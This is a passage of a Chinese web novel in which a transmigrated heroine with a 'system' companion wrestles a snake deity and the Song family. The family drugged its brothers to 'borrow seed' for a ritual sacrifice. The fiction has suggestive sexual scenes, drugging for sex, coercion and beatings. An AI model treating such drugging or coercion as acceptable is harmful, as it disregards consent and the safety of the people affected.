林素突然停下申吟,笑着“啊”了一声喃喃说:“找到了。” 她的手指猛地抓住腔内盘着的湿滑“蛇结”,用力就要扯出来。 剧烈的疼痛一下子让祂清醒,祂瞳孔怒张,一瞬之间躬身从宋衍之的身体里退了出去。 地下传来地动山摇的怒吼,惊雷“轰隆”劈斩而下,房间中的窗户玻璃全部震碎。 “轰隆隆——” 系统吓傻了,“宿主您、您做了什么?!” 林素推开砸在身上的宋衍之,翻身坐起,衣衫半敞,黑发散乱的黏在脖颈上、嘴唇里,她看见电闪雷鸣之下盘旋在房梁之上的巨大黑蛇身。 那蛇身大的看不见上半身,只能看见从梁上垂下来的一截粗壮蛇尾在不自控的颤动,透明的粘·液从蛇尾滴下来砸在地板上。 又一道震耳欲聋的雷劈下,轰隆声中瓦片飞溅,地面裂开,尖叫声从外面传进来。 “啊啊啊宿主您惹恼柳仙!祂会杀了您的!”系统惊慌失措,不会又要任务失败了吧? 林素却没有一丝惊恐,她将黑发从殷红的嘴唇里拨出来,笑盈盈的抬头对梁上的黑蛇说:“好端端的怎么生气了?你不是该把蛇结放进我身体里来吗?来呀。” 系统震惊,什么蛇结?什么放身体? 龟裂的地面下震怒的低吼,房间嗡嗡颤动,一道惊雷照亮窗户“轰隆”一声劈在屋脊之上,这一次将整个屋顶劈了开。 房梁在雷鸣声中断裂,瓦片、青砖飞溅着砸下来,整个房间轰然坍塌,连林素坐着的床也在剧烈晃动中向下塌陷。 她慌忙扶住床框稳住身体,就见断裂的房梁朝她砸下来—— “宿主要不要为您开传送!”系统立刻问。 “不用。”闪电照亮林素的脸,她依旧看着黑蛇笑着说:“杀了我,柳仙大人还来得及找人来替你生蛇宝宝吗?” 房梁急速砸向她的脸。 “宿主!”系统在紧急弹出保护屏障之前,一道黑影劈斩而下,在它之前击碎了砸下来的房梁。 尖利的房梁碎片划过林素的脸,砸在了她身侧床上宋衍之和宋文友的身上,她看见一闪而过的黑蛇尾掠过她的鼻尖,转瞬消失在崩塌的房间中。 她抬手擦掉脸颊上浅浅的血痕,对系统说:“更新关于蛇结的剧情吧,我猜的没有错,祂六十年要一个新生儿是为了“寄生”换皮,祂原本应该是直接把蛇结放进宋家新生儿的身体里,寄生新生儿,重新长一轮,但这次或许因为宋老大养胃,秀秀始终没有生下孩子,祂大限将至不得不附体宋衍之,试图直接把蛇结放入秀秀的身体里,从胚胎开始寄生……” “啊?”系统听傻了,“我没听太懂……您刚才难道是在演戏找什么蛇结吗??” 林素无语,腿边的人突然动了动,发出痛苦的闷哼声,她低头看见宋衍之被一截木梁砸的额头流血,挣扎着醒过来。 宋衍之是被痛醒的,额头的血流到眼睛里,他在晕眩中睁开眼先摸到了自己眼皮上的血,然后感觉到地动山摇,手掌旁是个白花花的大腿,这是……他抬起头对上了林素的视线,她散着发,衣衫不整的坐在他身边,而他光着上半身压在她的裙子上,更荒唐的是他看见二哥宋文友居然也在她腿边躺着…… 他整个人弹坐起来,看见四周正在塌陷的房屋混乱的大脑更混乱了,真正的天、塌、地、陷。 没有时间多想,他看见床后的半堵墙“轰隆”砸下来,他立刻一手抓住宋文友,一手搂住林素将她扛在肩上,弹跳而起在塌陷中狂奔出房间。 ※ 外面是倾盆大雨,一声声惊雷闪过宋家老宅。 管家扶着淋透的宋显祖,正嚷嚷着吩咐下人进去救人,就见宋衍之光脚冲了出来。 大雨之中,他光着的臂膀划了许多伤口,一只手抓着不清醒的宋文友,另一只手把肩上扛着的林素放了下来。 林素被雨浇了一脸,下意识抓住宋衍之光溜溜的手臂,打着冷颤过呼吸。 她本就散乱的衣襟又从肩头滑落,白的肌肤、黑的发,宋衍之没过脑子伸手就替她拉了上…… “三爷!” “衍之!”宋显祖快步迎过来。 宋衍之瞬间清醒过来,恼怒一般将林素推给了宋显祖,这到底是怎么回事?为什么他会和自己的嫂子在一张床上?还有宋文友怎么样也在?! 宋显祖被林素撞的踉跄了一下险些摔倒,却下意识牢牢抱住了怀里的林素,抓紧她没系扣子的衣衫,心里乱糟糟的就如此刻的五雷轰顶、天塌地陷,他不知道有没有成事,不知道房间里到底发生了什么,又为什么突然雷声震怒劈开的屋子? 他满脑子是秀秀的喘声、申吟声……她在他身上时从来没有这样叫过。 他更紧的箍住怀里的人,像是要把她焊死在怀里,感觉她冷的在颤抖,湿淋淋的脸贴在他的耳朵旁,有一道浅浅的划痕在渗血,他枯朽的身体也跟着颤抖起来,这样天塌地陷的混乱中,他竟产生了奇异的欲·望,秀秀需要他,秀秀是他的妻子…… 他很想低头去把她脸上的血舔干净,可秀秀嫌弃的推开了他。 一道雷再次劈下,“轰”一声把他们身后枯井旁的枣树正中劈开。 管家和下人们吓的连连后退,看着轰然到底的枣树,颤巍巍的说:“柳仙大人发怒了……” 雷声隆隆没有停止的迹象,仿佛要把宋家劈个干净才罢休。 宋显祖脸色苍白的看着枯井,撩袍跪下:“柳仙大人息怒。” 管家和仆人纷纷跟着跪下,朝着枯井又磕头又求饶。 这幅景象太荒唐了。 “什么鬼扯的柳仙!什么年代了还搞封建迷信这套!”宋衍之手里还扶着半醒不醒的宋文友,伸手把大哥拉起来,冷声下令说:“去把医生叫来。”又对大哥说:“大哥是不是该跟我解释一下今晚是什么情况?” 他被雨淋的彻底清醒过来,记起来今晚的酒,也记起来一些不该记得的声音,像在梦里似得,嫂子在他手掌下喘,息、申吟…… 这到底是怎么回事! 5. 第 5 章 宋家电路全部断了,没有灯、没有热水。 漆黑的浴室里,系统404化身成白色小光球,用自己的特殊功能为林素加热洗澡水,卑躬屈膝的问:“您觉得热度可以吗?室温如何?”在得到宿主满意的点头后,才又小声问:“宿主,什么是蛇结呀?刚才修复的一段剧情,有些地方我太笨了没听懂。” 林素泡在热水里舒服的闭上了眼,心情不错的和它解释:“蛇结就是类似于祂元丹的东西。” 她之前在惊悚世界里遇到过这类邪神,蛇类邪神通常每几十年要经历一次“蜕皮”,本体会在蜕皮过程中进入假死状态,这个过程要几年甚至十年之久。 所以祂会在蜕皮之前选一个“寄生体”,暂时将元丹寄生进新的身体里,让新的身体成为祂这十年的躯壳,等蜕皮完成后再吞掉寄生体和本体融合,成为更强的邪神。 寄生体也不是随便选的,要符合祂的命格、生辰、且纯净,所以祂选了最符合要求的宋家,庇护宋家几代,让宋家迎娶最合祂命格的“妻子”,稳定的给自己生下新的寄生体。 本来这种“契约”稳定的继承下去,柳仙从未露过面,直到宋显祖,他养胃。 蜕皮的大劫将至,祂不得不一次次警示宋家人,在宋显祖把两个弟弟骗回来借种后,祂选择直接附体宋衍之,将蛇结放入秀秀的身体里孕育新的身体。 404恍然大悟,看到自己系统界面内,这个世界混乱的剧情线自动整齐的连接起来,就像一块拼图准确无误的补进了缺口。 金闪闪的剧情线整齐的往下延续,它感到一种前所未有的舒爽和感动,它从未遇到过这么靠谱的宿主。 不需要它的协助,把它带的起飞。 它原本以为刚才宿主只是性致大发在调息柳仙,没想到宿主居然在帮它修复剧情! “宿主,您需要桑拿服务吗?”它热泪盈眶,积极的想为宿主做点什么:“我还有个小小的疑问。” “说。”林素在蒸腾的热气里吐出一口气。 “既然柳仙要放蛇结,为什么最后又不放了?”404困惑柳仙为啥突然暴怒啊。 林素勾了一下唇角,慢悠悠说:“因为蛇结是在祂的生·殖腔内,我“不小心”差点弄断它的小蛇了。” “!!!”404震惊的不敢说话,才醒悟过来,为什么蛇尾像受了伤一样,一直在滴水。 宿主真是……好大的胆子,好有经验的手段! 它不敢再深问,浴室门外传来丫鬟桂香的声音。 “夫人,您的衣服取来了,我服侍您更衣吧,天气冷您小心着凉。” 林素挥挥手让404消失,散了热气才让桂香进来。 404的屏蔽消失,林素才听见隔壁隐隐约约传来的男人申吟声。 “啊……嗯……热、热……” 那声音是宋文友?药效还没过呢? 林素扭头看向背后的墙壁。 一墙之隔,是留给宋家老三住的客房,她所在的浴室正连着客房的浴室,她听见申吟声中夹杂着流水声。 ※ 宋衍之也在洗澡,他站在花洒下满心恼火的洗了个冷水澡,希望能把躁动的身体冷静下去,可浇了一遍又一遍还是无济于事。 偏偏二哥还一直在发出这种鬼动静! 他只要一闭上眼,脑子里就浮现出一些不真切的画面——红帐里凌乱的大嫂、咬住他手指的嘴唇…… 该死。 这些画面是真发生过?可是他没一点印象,只记得自己喝了酒之后就断片了,之后到底发生了什么他不敢确定。 宋衍之一拳砸在墙上,不可能,他绝不会干出这种畜生不如的事!就算酒有问题他也不可能乱来! 他抬头又用冷水把自己浇透,匆忙换上了干净的衣服出了浴室。 一跨进卧房,宋文友那小子的哼哼声就更清晰了。 只有他大哥坐在床边,在用毛巾给昏迷不醒的宋文友擦汗。 “胡医生呢?”宋衍之没好气的问:“刚才不是在这儿吗?他没给二哥扎一针让他清醒清醒吗?”他进去冲澡之前胡医生还在这里。 “我让他走了。”宋显祖没有留任何外人在房间里:“文友没事,他睡一觉、泄泄、火就能醒了。” 听到泄泄、火这三个字,宋衍之火气就往上冒,到他跟前,抓走他的毛巾丢到一边低声问:“大哥该跟我解释解释,你的酒里加了什么吧?” 宋显祖抬头看他,他额头多了道伤口,但衬衫领口下的脖子上没有什么暧昧的痕迹,脑子里乱极了,不知道该怎么问出口他和秀秀有没有做成? 最后欲言又止几次才问出一句:“你们在房间里到底发生了什么让柳仙大人震怒?” 宋衍之压着的怒火直接被他点燃了,一把抓住他的衣领几乎将他拎起来:“你再跟我扯什么柳仙试试!你有没有脑子?这么多年你还没受过柳仙的折磨吗?从小到大无论做成什么就全是柳仙的庇护!我再努力有出息也是柳仙的赐福!就好像宋家现在的一砖一瓦全是劳什子的柳仙给的!” 他盯着病弱的大哥,恨铁不成钢:“爹他们那群老古板信就算了,你书都读到狗肚子里去了吗?要是真有柳仙为什么不庇护母亲?不保佑你!” 宋显祖看着他怒气腾腾的眼,心里那股绝望的恨意弥漫上来:“你以为我想信吗?你以为我不想跟你和二弟一样不管不顾的出去留学、打拼吗?如果没有我留下守着老宅,听从安排娶了林秀你在四年前就死在战场上了!” 宋衍之愣了一下,因为四年前他替统帅挡了子弹,那枚子弹射穿他的心脏,他确实差点就死了。 但他被送回老宅,大哥和族长请来了一位年幼的“半仙儿”,不知道给他灌了什么药,他居然离奇的活了下来。 然后他一路顺风顺水的高升,屡力战功,子弹仿佛不近他的身。 “你想起来了?”宋显祖怨恨的盯着他,瘦弱的双手扯开他的衣领,露出他胸口的伤疤:“你四年前能活下来就是吞了柳仙赐给你的蛇胆,你向柳仙借了命,而代价就是我必须像爹一样死守在老宅里,遵从契约娶柳仙指定的妻子,生下孩子献祭给祂!” 他浑身都在发抖,像是用尽全部力气来控诉、嘶吼、怨恨。 “你以为我愿意做这一切吗?”宋显祖眼眶充血似得咬着眼泪:“是因为宋家只剩下半个月的期限了,如果半个月内秀秀没能怀上宋家的孩子给柳仙,我们都得死!就连外面那些下人也得跟 着我们遭殃!你还不明白吗?” 宋衍之被他推的摇晃了一下,心也跟着晃了晃,理智告诉他,这个世上根本没有什么鬼鬼神神。 可宋家发生的事、从小到大他见过那些怪异的现象、乃至他死而复生……都在动摇他的理智。 “太荒唐了,我倒要看看半个月内能发生什么?要死我先死。”宋衍之还是不愿意相信,推开大哥说:“再说这些跟你骗我们回来,给我们下药有什么关系?你少岔开话题。” 宋显祖扶住床框,盯着他,手指发抖,他就非要逼他说出:他不中用,要下药借种的话吗? 他是真不明白还是在装傻? “你怎么不说了?”宋衍之皱眉问他。 房门外传来一阵急促的脚步声,管家撞开门,匆匆忙忙的跌撞进来,噗通就跪下了,浑身湿透瑟瑟发抖的说:“老爷……出事了……族长他、他被黑蛇咬死了……” 无声的闷雷闪过房间,照亮宋显祖死灰一样的脸,他几乎站不稳:“什么时候的事?” “就刚刚,老族长的尸体就、就在咱们府门外,胸口还是热乎的……”管家脸上分不清是冷汗还是雨水。 宋显祖站不住的跌坐在床上,惊惧的喃喃说:“柳仙大人发火了……” 宋衍之看他一眼,抓起桌上自己的配枪冷声道:“把尸体抬进来,去请仵作,我倒要看看柳仙的把戏!” “刘勇!”他跨步出去,大声叫来门外候着的副将,下令道:“去把宾馆里睡觉的弟兄们都叫起来,让他们把宋家老宅里里外外给我搜查一遍,所有蛇虫鼠蚁全都烧了!” 他就不信世上真的有鬼神! 刘勇应是,快步奔出宋府。 雷声渐止,雨也小了很多。 宋衍之跨出房门,就看见回廊下站着的林素。 她换了一身暗红色的旗袍,双肩披着浅色的羊绒披肩,黑发散在窄窄的腰身上,正在看着小丫鬟在院子里捡地上的青枣。 就像是什么事也没发生过一样淡定。 宋衍之真有点看不透她了,她却侧头朝他看了过来,素着的一张脸上一双眼和一张润红的唇格外清晰,她就那么瞧着他勾起唇笑了笑叫他:“小叔。” 那声音和脑子里红帐内的哼哼声交叠在一起…… 宋衍之整个脊背被叫麻了,浑身过电似得难受,心也猛跳起来,原本快压下去的躁动一下子就更冒火了。 该死。 他收回目光,僵硬着双腿快步离开,生怕自己再多看她一眼,就会又想起那些不该想的画面、不该听到的声音…… 他逃似得走出老宅府门,看见下人们正在把族长的尸体抬进去。 府门外他的副将刘勇走过来向他汇报,军队已经在赶来的路上,验尸的仵作也快到了……目光无意的向下一撇,顿了住,嬉皮笑脸的凑近小声说:“统帅,您肝火也太旺了。” 宋衍之愣了愣,随着他的目光往下看,顿时明白这小子在笑什么,一脚踹开他:“滚!” 这该死的药效到底什么时候能消下去? 他烦透了,快步到他停在巷子里的轿车前,拉开车门坐进去,把车帘全部拉了上,抽开皮戴,不可避免的又想起那张汗津津的脸。 6.第 6 章 院子外闹嚷嚷的亮起火把,宋衍之的亲随军似乎已经进了府门。 宋显祖怕外男冲撞了林素,就让管家把她请进来喝姜汤去去寒,他不只吩咐厨房煮了姜汤,还给林素炖了一盅补身体的药膳汤,原本是给她同房后助孕的,只是不知道还用不用得上。 他坐在卧房的外厅中看着林素走进来,她气色好的出奇,不施粉黛脸颊上也透着粉红的血气,嘴唇莹润,双目柔亮,扫向他时流转出说不清的春情。 和从前那么的不一样,让他难以控制的想起一些不上台面的浑话:女人尝没尝过男人一眼就能看出来。 秀秀她……跟三弟做成了吗? “药膳也是给你的。”宋显祖忍不住朝她靠近,坐在了她身边,亲自把汤盅盛给她:“你要补补气血。” 林素闻了闻那碗药膳,皱眉说:“好好的乌鸡糟践了。” 她在惊悚文里生存这么久,几乎不挑食,但她不爱吃有怪味的东西,比如药味。 “不吃。”她推开了那碗药膳,只把姜汤闭气喝下去了:“下次炖鸡就炖鸡,别放乱七八糟的药材,我不爱吃。” 桂香小心翼翼看了一眼老爷,发现老爷居然没有生气,往常都是夫人精心的做好一桌饭菜求着老爷来吃顿饭,但凡老爷肯来夫人就会高兴的跟过年似得,哪里敢这样拒绝老爷。 可这次老爷不但没生气,反而温声细语的说:“那我再吩咐厨房炖只乌□□。” 夫人变了,老爷也变了,像是两个人反过来了似得。 宋显祖吩咐桂香去厨房炖鸡,又让管家退了出去。 等房门关上,他才开口问了林素:“你和三弟他们……在房间里发生了什么?” “你三弟没告诉你吗?”林素擦擦嘴巴看他,“还是你不敢让他知道你要跟他借种?” 宋显祖被噎的喉头发堵,但又不得不问,只能压着所有情绪,没脾气的跟她说:“他喝了酒不知道发生了什么,屋子里只有你的清醒的,所以……你们发生了什么激怒了柳仙大人?” 他看着那张白里透红的脸,攥紧手指把声音放的很低很低又问:“你和三弟做成了吗?” “你希望成了还是没成?”林素靠近椅背里,逗闷子似得故意说:“你知道的,我嫁给你两年多还是黄花闺女,我怎么知道什么是成了?不如你跟我讲讲?” 林素双腿交叠,翘起脚尖晃了晃。 宋显祖不自觉垂眼看见她旗袍下露出来的一截白晃晃的小腿。 404想提醒她,男配不需要攻略,但又觉得自己多嘴,宿主这么做肯定有她的道理! 但林素只是纯粹喜欢玩男人,尤其是这种心有余而力不足的养胃男。 宋显祖死灰一样的眼睛沉了沉,一点怒意和无用的欲望压在乌青的眼底,他伸手抓住了林素的膝盖,惩罚似得用力揉了一下,又慢慢挪进开岔里,盯着她的眼睛在更绵软的地方用力揉了一下,“你想我讲什么?讲我三弟有没有伺候好你吗?” 林素被揉的微微眯眼,脚尖抵紧他欺过来的腿,喉咙里发出猫儿似的哼声。 那声音引线一样点燃了宋显祖眼底的欲·火,他紧紧盯着秀秀的脸,他从来没有见过秀秀在他跟前露出这样的表情…… 他着迷的盯着她,浑身着了火一样,更卖力一些,分不清是在惩罚她,还是在讨好她,只看着她微微仰头哼哼露出迷乱的神情,他就被烧的昏头转向,低头吻上她的脖子,情不自禁的想咬她、想让她也对他发出那样失控的声音、带着哭腔的央求…… 可她热热的手指用力扯住他的头发扯开了他。 宋显祖眼神还是迷乱里,嘴唇微张着喘·息看她,就听见她声音哑哑的说:“不是这里。” 她手指微微用力把他的脑袋往下按:“嘴要用在哪里你不懂啊?” 宋显祖看见她旗袍上的莲花暗纹,闻到她身上奇异的香气,脑子烧的嗡嗡作响,秀秀,他的秀秀变得这么放·荡、又这么让人着迷…… 他扶着她的双膝,昏了头似得跪下去,急切的想让她满足,想为自己解渴…… 背后突然传来“铛啷”一声。 宋显祖如梦惊醒一般猛地回头看过去,看见内室帘子下站着呆愣愣的二弟宋文友,他脸还烧红着,呆若木鸡的僵在那里,脚边滚动着空的水杯。 宋显祖的脑子“轰”一下就炸开了,慌忙拉下秀秀的旗袍,踉跄着站起来恨不能找个地缝钻进去,他在干什么?!二弟都看见了对不对? 场面死一样寂静。 林素却靠在椅背里歪头对呆若木鸡的宋文友笑了笑,看到自己大哥像狗一样伺候她好不好玩?刺不刺激? 宋文友对上她的笑容像被雷劈一般慌不择路的转身逃回了内室里,本就滚烫的身体更是快要熟透了,大哥和嫂子她们在……在干什么! 他真是烧糊涂了才以为自己听到的女人哼哼声是在梦里,是残存的梦境……他没想到居然真是嫂子…… 宋文友把滚烫的脸埋进被子里,不敢相信的想:那他“梦里”身侧哼哼的女人、他嘴唇亲吻到的女人……是嫂子吗?怎么会是嫂子?他怎么能梦到嫂子! 他抬手闷声扇了自己一巴掌。 ※ “啪”的一声。 昏暗车厢里,宋衍之一巴掌重重扇在自己脸上,他在做什么! 凝固的空气中弥漫着他潮潮的呼吸,和说不清的腥·味,他身体还在发烫,但脑子出奇的清醒,他恨不能再给自己一耳光让自己清醒清醒,把脑子里挥之不去的身影、声音全赶出去。 他怎么能在这个时候想着他大哥的妻子? 他怎么能不可控制的想着她的声音、身体、嘴巴…… 他就是个畜生! 那是他大哥,是替他挨父亲的打,教他走路、用筷子的大哥! 宋衍之在这一刻欲·望冷却,只剩下对自己的厌恶,他不能接受自己幻想大哥的妻子,在他的记忆里母亲早早就去世了,是大哥把他和二哥拉扯长大。 他小时候闯的每次祸都是大哥替他兜着,如果他觊觎大哥的妻子那就是畜生不如。 一定是因为药,因为他脑子里那些错乱的画面…… 他不敢闭眼,生怕自己又想起那些画面。 宋衍之心烦意乱的整理好衣服,推开车门下了车。 潮湿的冷空气吹在他脸上,却吹不散他的烦躁,他需要做些让自己发泄的事情。 宋府门口站在他的亲随军,还停了两辆车。 刚才应该是宋家的长辈们和仵作一起来了宋府,毕竟族长死了是天大的事。 电路还没修好,亲随军们举着火把,见到宋衍之齐刷刷行礼叫了一声:“统帅。” 宋衍之跨步回府,瞧见几名亲随军正喊着:“这儿,这也有一条 蛇。” 他直接过去,果然看见石榴树下的草丛里盘着一条黑蛇,正要逃窜,他拔枪一枪射烂了蛇的脑袋,弯腰拎起来,发泄似得干脆利落将蛇皮整张剥掉,才丢给亲随军说:“把所有的蛇都剥皮烤了。” 蛇血的腥气极大的平复了他心里那股邪火,杀了敌人永远是他最有效的发泄方式。 宋衍之感觉好受许多,才洗了手大步去了正院。 ※ 正院的正厅里,一群宋家的长辈们坐在两侧,看着地上已经僵了的族长尸体。 仵作确定,族长就是被毒蛇咬了喉咙,毒死的。 族长的儿子宋耀辉才十七八岁,此刻又惊又落泪,脸色惨白的说:“我也不知道我爹今晚怎么了,睡得好好的突然像被什么东西附体了直愣愣的往外走,我们叫他,他也听不见,就是重复着让我们马上开车送他来显祖哥这里,我车还没停稳他就冲下去往府里跑,然后……然后就捂着脖子直挺挺昏过去,就我跑过去的功夫他就没气儿了……” 厅中所有人的脸色都变得煞白,纷纷看向正中坐着的宋显祖。 每个人都清楚这是柳仙大人的降罪,包括宋显祖,他知道自己即将面临一场合族宗亲的质问、责怪,就像是他一个人害死了族长,为整个宋氏带来灾祸。 “显祖,到底出什么事了?柳仙大人为什么突然发怒?”宋家最年长的叔伯宋开泰先开口质问他。 随后一道道目光带着惊慌和责备落在他身上,纷纷说:“是啊,这么多年柳仙大人庇佑,我们宋氏一直太太平平,怎么突然出了这样的事?” “族长被柳仙降罪,那下一个会不会是我们?” “显祖你是不是有什么事情瞒着我们?” 宋显祖承受不住这一道道目光,垂下头痛苦的闷咳起来,身侧嗑瓜子的声音就没停过,他抬头看向林素,她脸上淡然的像在看一场无聊的大戏,慢悠悠的嗑着瓜子,他竟然佩服起来她,她难道一点压力也感受不到吗? “不对劲宿主,男主他的攻略度怎么突然变成了负5啊?”404突然发现,任务界面里的异常:“我从来没有见过攻略条会倒扣!” 系统界面弹出来,任务栏男主宋衍之的攻略进度条变成了红色负五的状态。 404慌了:“是不是男主他不但对您没好感度,现在还恨上您了?” 林素抬眼朝大厅外看去,看见帘子外的一道宽阔背影,是宋衍之吧。 他没进来,像是在外用什么东西慢慢擦手。 “显祖,这关系到整个宋氏,你老实回答。”胡子花白的宋开泰看了林素一眼,问出了那句本不该拿到台面上问的话:“秀秀是不是还没有怀上你的孩子?” 宋显祖用帕子捂着闷咳的嘴,脸色青白的像死了一般,他一直瞒着自己不良于行的隐疾,试图通过悄悄“借种”来平息这场祸事,可没有想到还是走到了这一步。 宋氏所有人看着他,公开处刑一般等着他回答。 “族长已经死了,显祖你难道要害死我们所有人吗?”宋开泰带着隐隐怒意问他,又看向林素:“你要我这个做长辈的质问你媳妇吗?” “不是秀秀的错。”宋显祖攥紧手帕,抬起头说:“是我不行,我从成亲开始就不行!” 厅中陷入一片死寂。 只有林素笑了一下,摸了一颗山核桃剥开,好戏这不就来了吗? 7.第 7 章 正厅中一片死寂,宋显祖紧紧攥着桌角根本不敢抬头去看那一双双眼睛,他在这一刻觉得自己不像个人,像是耍猴人的残疾猴子,就连残疾也要公开展示,任人奚落。 他无地自容,眼眶强忍着涨红,希望自己保留一丁点的尊严。 可叔伯宋开泰不可置信的追问:“什么叫不行?显祖,你跟秀秀成亲两年,难道就没有过夫妻之实吗?” “这样的事你为何不早说?”另一位长辈也惊讶的站起来质问他:“显祖你明知道这关系着宋氏一族的命脉,为什么要隐瞒?你这是要害死我们!” 更多的指责声跟着砸过来:“你糊涂啊!要是你早说族长就不会死了!” “今天要不是我们逼问你是不是还打算瞒着?瞒到我们全死了?” 一句句话像一把把剑捅在宋显祖的脊背上,把他最后一点尊严击碎,他手指发抖的抿紧嘴唇,眼泪忍不住砸在手背上,是他的错,都是他的错…… 懦夫还哭上了。 林素“咔”一声脆响,捏碎了一枚山核桃,素白的手指在核桃皮里挑挑拣拣,很乐得见狗咬狗,宋显祖明知自己不中用还隐瞒着娶林秀,害林秀独守空房两年,他不但毫无愧疚的冷落林秀,还想出“借种”的主意,能是什么好东西? “够了!”宋文友突然愤怒的站起来,扶住宋显祖的肩,扫着那一群宋氏长辈老朽的嘴脸,再忍不住开口说:“太荒唐了,各位都是宋家的长辈,却为了一个柳仙的无稽之谈毫无廉耻的质问我大哥的房事,还把族长的意外死亡怪到他头上,简直太荒唐了!有你们这样冥顽不灵的长辈在,宋氏迟早败落!” 这骂的叫什么劲儿?太没攻击性了。 林素靠在椅背里看戏。 宋开泰那老头率先拍了桌子,指着宋文友骂道:“宋家供你在外读书就是让你这么跟长辈说话的吗?你的教养学到狗肚子里去了!当年你差点早夭,就是我们这群冥顽不灵的长辈为你向柳仙大人祈福才保住你的命!你现在出息了,翅膀硬了顶撞我们!” “你还不跪下认错!”另一个老头跟着拍了桌子。 宋显祖按住宋文友的手,先替弟弟认错:“是我这个做大哥的错……” “大哥!你有什么错!”宋文友气的发抖,上前一步:“什么柳仙降罪,就是封建迷信,仵作已经验过,族长是被毒蛇咬死,你们信不信都是意外,谁要信柳仙谁就自己做祭品!” 宋开泰被气的不轻,跨步上前一巴掌扇在宋文友脸上:“不孝子!你爹都不敢这样顶撞我们!给我跪下!” 这一巴掌扇的宋文友脸颊涨红,挽在耳后的碎发散到了金丝眼镜旁。 我见犹怜。 林素托腮欣赏着他不屈服的表情,他抬起眼再次看向宋开泰,一字字说:“我没错,错的是你们,你们为了一个荒诞的迷信,把两条鲜活的人命当成献祭的牲口,我大哥是个人,林秀也是个活生生的人,你们没有权利用迷信的旧枷锁禁锢他们。” 漂亮的嘴巴里,说出一些可爱的话,显得多么单纯天真。 她被逗得轻轻笑了。 果然下一秒宋老头的拐棍就招呼到了他身上,他被打的踉跄躲闪撞在了林素的椅子旁,伸手扶椅子不小心按在了林素的手背上。 她抬起眼对上宋文友吃惊又慌张的神情,他慌忙收回手似被火烧。 她听见他低低说了句:“对不起嫂子……” 她故意揉着手背皱起眉,“痛死了。” 他惊慌的脸上就烧红一片,更愧疚的垂下眼看她,想说什么却被打断了。 “叔伯!”宋显祖抓着宋开泰的拐杖跪了下去,流着泪说:“是我没用,都是我的错,你们要打要骂就冲我来吧!” “大哥!”宋文友悲愤又心碎的看着大哥,他恨大哥不反抗,却又心碎大哥永远会护着他们。 宋开泰一拐杖打在宋显祖的背上:“你是没用!长兄如父,你身为宋家的家主既管教不好弟弟,又没有完成家主的责任,惹得柳仙震怒,族长惨死!” 宋显祖就跪在那里硬生生挨下这一棍。 宋开泰将拐杖在地上重重一顿,瞪向剥核桃林素:“你也跪下!你嫁进宋家两年无出,怎么有脸坐着看你的丈夫受责!” 外面帘子外的身影动了动,像是要进来,却在听见这句话后停了住。 404马上说:“宿主,您解锁了林秀受虐的剧情,恐怕要受点委屈……然后再狠狠报复回去!”它看见新解锁的剧情里,林秀被合族宗老杖打责罚,宋显祖和宋文友会双双扑身替她挡下,男主宋衍之会登场救下她这个嫂嫂,发现她也很可怜,动了恻隐之心。 “由怜生爱是很好的攻略策略!”404展开新解锁的剧情给她看:“新剧情通顺了!我会为您屏蔽痛觉的。” 林素看也没看系统界面,慢悠悠抬眼看宋开泰,冷笑说:“我确实不该坐着看他受责。”她把手里的核桃皮丢到桌子上,伸手拉起宋显祖的衣领,甩手一巴掌扇在他脸上。 404:“!” 清脆的声音把一众老头都打愣了,连挨打的宋显祖也呆了一下。 林素甩甩手说:“没用的宋家男人,我嫁进你们宋家是为了守活寡吗?当年你们宋家族长亲自出面提亲,你金山银山的聘礼加,原来是你们宋氏全族根儿上不行合起伙来骗婚啊!” 宋开泰当即脸就黑了,她这是在指桑骂槐吗?全镇人都知道他至今还无儿无女,不得不过继了个养子,她一个晚辈侄媳怎么敢这样隐射他?反了天了! “你怎么敢跟你丈夫动手!”宋开泰黑着脸怒斥她,拐杖朝她砸下去:“跪下!” 宋文友和宋显祖几乎同时出手想替她挡下,林素却抬手自己抓住了砸下来的拐杖,一秒都没犹豫用力一扯,拽走了那光溜溜的拐杖。 宋开泰踉跄的差点摔倒,才被其他人扶住,林素就一拐杖击在他的膝盖,击的他惨叫一声双膝发软跪在了她跟前。 “叔伯!” “宋老!” 众人惊的慌忙上前扶他。 “叫什么叫?”林素将拐杖重重杵在地上,坐直身双手握 着拐杖扫过冷汗淋漓的宋开泰和一众老头儿,阴阳怪气说:“娶到我,你们宋氏上上下下都该跪下给我磕一个才对,放眼天下有哪个女人像我这样能容忍?丈夫无能,丈夫的二叔伯也阳·事不举,你们宋家不是根儿上不行是什么?换个女人早闹得人尽皆知了,也就是我这个老实的女人忍气吞声,为你们宋家遮丑。” 宋开泰膝盖像是碎了一样,痛的眼前发黑,指着她气的说不出话。 另外几个她记不住名的老头儿气的发癫斥责她:“反了天了!你胆敢跟长辈动手!把她绑起来杖责!再敢动手就浸·猪笼!” 林素靠近椅子里笑笑说:“好啊,明天把我浸·猪笼,后天你们宋氏全族给我陪葬。” 几个老头儿脸色惨白,全被噎住了。 因为大家心知肚明,林秀不是随意选的,是柳仙大人选出来的“宋家妻子”,只有林秀生下的孩子才能成为柳仙大人的祭品,所以当初族长亲自出面提亲。 可这个女人做出这等恶劣的行为,若今天不好好惩戒她,明天她更猖狂! “你以为我们不敢把你怎么样吗?”胡子花白的老头盯着她眯了眯眼:“把她绑了,藤鞭五十下,认错了再停。” “宋老她身子骨弱禁不住五十鞭子!”宋显祖拦在她跟前,抓住了她的手说:“秀秀快认错……” 族长的儿子已经上前要来拉扯林素,宋文友上前要推开他。 大厅的帘子被一左一右掀开,两名穿军服的军士站在两侧,宋衍之跨步走了进来,他没有穿军服,只穿着白衬衫和西裤,手里正在擦着配枪,挽到胳膊肘的袖口上沾着一点血迹。 他走进来冷飕飕的扫了一众人,闹嚷嚷的宋家长辈们就不自觉停了嘴。 “刚才还说的热闹,怎么我进来就不说了?”宋衍之过来,冷眼看着族长的儿子,反手一巴掌,扇的他站不稳摔在地上。 宋衍之一句解释的话也没有,弯腰把哭哭啼啼的宋显祖拉了起来按进椅子里,看了一眼林素,坐在了她与宋显祖中间,把玩着手里的枪笑说:“各位叔伯可真有意思啊,族长出了事,来我宋家欺负我生病的大哥和柔弱的嫂子。” 404:“啊?” “有什么事找我谈啊。”宋衍之声音一点不大,甚至带着笑,但厅中的气氛被他压的冷森森。 宋开泰被搀扶起来,坐进椅子里还在痛的冒汗,已经不想再多费口舌了,直接对宋显祖说:“宋显祖,你弟弟和妻子犯浑我不和他们计较……但你心里很清楚我们是为了谁好,如果不是为了保全宋氏全族我懒得管你们家事……” 宋显祖坐着不说话,他清楚的。 